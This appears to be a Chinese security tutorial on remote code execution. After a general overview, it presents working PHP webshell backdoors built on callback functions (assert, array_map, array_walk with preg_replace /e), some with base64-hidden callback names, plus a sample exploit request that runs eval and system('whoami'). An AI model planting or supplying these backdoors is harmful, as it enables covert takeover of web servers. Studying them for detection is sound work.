目录
RCE简介
RCE 是 Remote Code Execution 的缩写,即远程代码执行。以下是关于它的简介:
定义
RCE 是一种严重的安全漏洞,攻击者通过各种手段,利用目标系统的漏洞,在目标系统上远程执行恶意代码,从而控制目标系统,获取敏感信息或进行其他恶意操作。
攻击方式
利用软件漏洞:许多软件在开发过程中可能存在未被发现的漏洞,如缓冲区溢出、SQL 注入、命令注入等。攻击者可以通过构造特殊的输入,利用这些漏洞来执行任意代码。例如,在 Web 应用程序中,如果没有对用户输入进行严格的验证和过滤,攻击者可能通过在表单中输入恶意代码,利用 SQL 注入漏洞获取数据库的控制权,进而执行系统命令。
利用配置错误:服务器或应用程序的错误配置也可能导致 RCE 漏洞。例如,将某些敏感文件或目录设置为可执行权限,或者允许不受信任的用户执行特定的命令,都可能被攻击者利用。
利用第三方组件漏洞:现代软件系统通常依赖大量的第三方组件和库。如果这些第三方组件存在安全漏洞,攻击者就有可能通过它们来攻击整个系统。比如,某个应用程序使用了一个存在远程代码执行漏洞的开源库,攻击者就可以利用这个漏洞来攻击该应用程序所在的服务器。
危害
数据泄露:攻击者可以通过执行恶意代码来获取目标系统上的敏感信息,如用户账号、密码、信用卡信息、企业机密数据等,并将这些数据传输到自己的服务器,造成数据泄露。
系统破坏:攻击者可以利用 RCE 漏洞删除重要文件、破坏系统配置,导致系统无法正常运行,甚至造成整个系统瘫痪,影响业务的正常开展。
权限提升:一旦攻击者在目标系统上获得了一定的执行权限,他们可能会尝试通过各种手段提升权限,获取系统管理员或其他高级用户的权限,从而对系统进行更深入的攻击和控制。
进一步传播:被入侵的系统可能会被攻击者用作跳板,进一步攻击其他与之相连的系统,扩大攻击范围,造成更大的危害。
RCE回调后门
回调后门
1.php中call_user_func是执行回调函数的标准方法:
call_user_func('assert', $_REQUEST['pass']);
call_user_func
函数:它是 PHP 的一个内置函数,用于动态调用指定的函数。该函数的第一个参数是要调用的函数名,后续的参数会依次传递给被调用的函数。assert
函数:assert
函数在 PHP 中用于执行断言。在 PHP 中,如果断言的表达式为假,那么会触发一个警告或者错误。在 PHP 5.x 版本中,如果assert
函数的参数是一个字符串,它会被当作 PHP 代码来执行。从 PHP 7.0 开始,默认情况下assert
不会将字符串参数当作代码执行,但可以通过配置改变这一行为。$_REQUEST['pass']
:$_REQUEST
是 PHP 的一个超全局变量,它可以获取通过GET
、POST
或者COOKIE
方式传递的参数。这里是获取名为pass
的参数值。
综合起来,这行代码的作用是将用户通过请求传递的 pass
参数作为 assert
函数的参数进行调用。
php7.3警告使用assert()是过时的
php8开始后,该方法不再使用。
2.assert直接作为回调函数,然后$_REQUEST['pass']
作为assert的参数调用。
call_user_func_array('assert', array($_REQUEST['pass']));
call_user_func_array
函数:同样是用于动态调用函数,与call_user_func
不同的是,它的第二个参数是一个数组,数组中的元素会依次作为参数传递给被调用的函数。assert
函数:和上面一样,是 PHP 的断言函数。array($_REQUEST['pass'])
:创建一个只包含用户请求中pass
参数值的数组。
数组操作造成的单参数回调后门
1.array_filter
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
array_filter是 PHP 内置函数,其用途是使用回调函数过滤数组中的元素。它接收两个参数:
第一个参数是待过滤的数组,这里是
$arr
。第二个参数是回调函数,用于定义过滤规则。在这个例子里,回调函数是通过对
$e
进行 Base64 解码得到的。
e=assert
base64编码,即
e=YXNzZXJ0
2.array_map
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
array_map是 PHP 的一个内置函数,它的作用是将回调函数应用到给定数组的每个元素上,并返回一个包含所有处理结果的新数组。这里,它接收两个参数:
第一个参数是回调函数,即经过 Base64 解码后的
$e
。第二个参数是要处理的数组,即
$arr
。
php5.4.8中的assert
php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:
这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。
这个后门在php5.3时会报错,提示assert只能有一个参数:
php版本改作5.4后就可以执行了:
1.
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
php5.3:
php5.4:
2.
<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
三参数回调函数
从 PHP 4 版本开始就支持回调函数接受三个参数,并且在后续的 PHP 版本中一直保持着这种兼容性。
回调其实也可以接受三个参数,php中,可以执行代码的函数:
一个参数:assert
两个参数:assert (php5.4.8+)
三个参数:preg_replace /e模式
三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
1.漏洞触发条件
/e
修饰符存在 数组值|.*|e
是正则表达式,其中e
修饰符允许执行替换字符串中的代码。用户控制关键参数
$e
参数控制回调函数(需设置为preg_replace
)$_POST['pass']
控制替换字符串(即正则替换的第二个参数)
参数传递顺序
array_walk
会以(value, key, userdata)
顺序传递参数,对应到preg_replace
的参数为:preg_replace($value, $key, $userdata)
即:
模式(Pattern):
|.*|e
(匹配任意内容)替换字符串(Replacement):
$_POST['pass']
(用户完全可控)主题(Subject):
''
(空字符串)
2.漏洞利用步骤
构造恶意请求
攻击者发送以下HTTP请求:
POST /vuln.php HTTP/1.1
...
e=preg_replace&pass=${@eval($_POST[x])}
参数解析结果
$e
被赋值为preg_replace
数组
$arr
变为:array('${@eval($_POST[x])}' => '|.*|e')
代码实际执行逻辑
当 array_walk
触发时,实际调用:
preg_replace(
'|.*|e', // 正则模式(匹配所有内容)
'${@eval($_POST[x])}', // 替换字符串(用户控制)
'' // 主题字符串(空)
);
3.漏洞触发原理
正则匹配:模式
|.*|e
会匹配主题字符串中的任意内容(即使主题为空,PHP仍会尝试匹配)替换执行:由于
/e
修饰符,替换字符串${@eval($_POST[x])}
会被解析为:eval($_POST[x]) // 动态执行POST参数x中的代码
代码执行:攻击者通过POST传递
x
参数执行任意命令:POST /vuln.php HTTP/1.1 ... x=system('whoami');
服务器将执行
system('whoami')
并返回结果。
preg_replace函数
preg_replace — 执行一个正则表达式的搜索和替换
preg_replace(
string|array $pattern,
string|array $replacement,
string|array $subject,
int $limit = -1,
int &$count = null
): string|array|null
搜索subject中匹配pattern的部分,以replacement进行替换。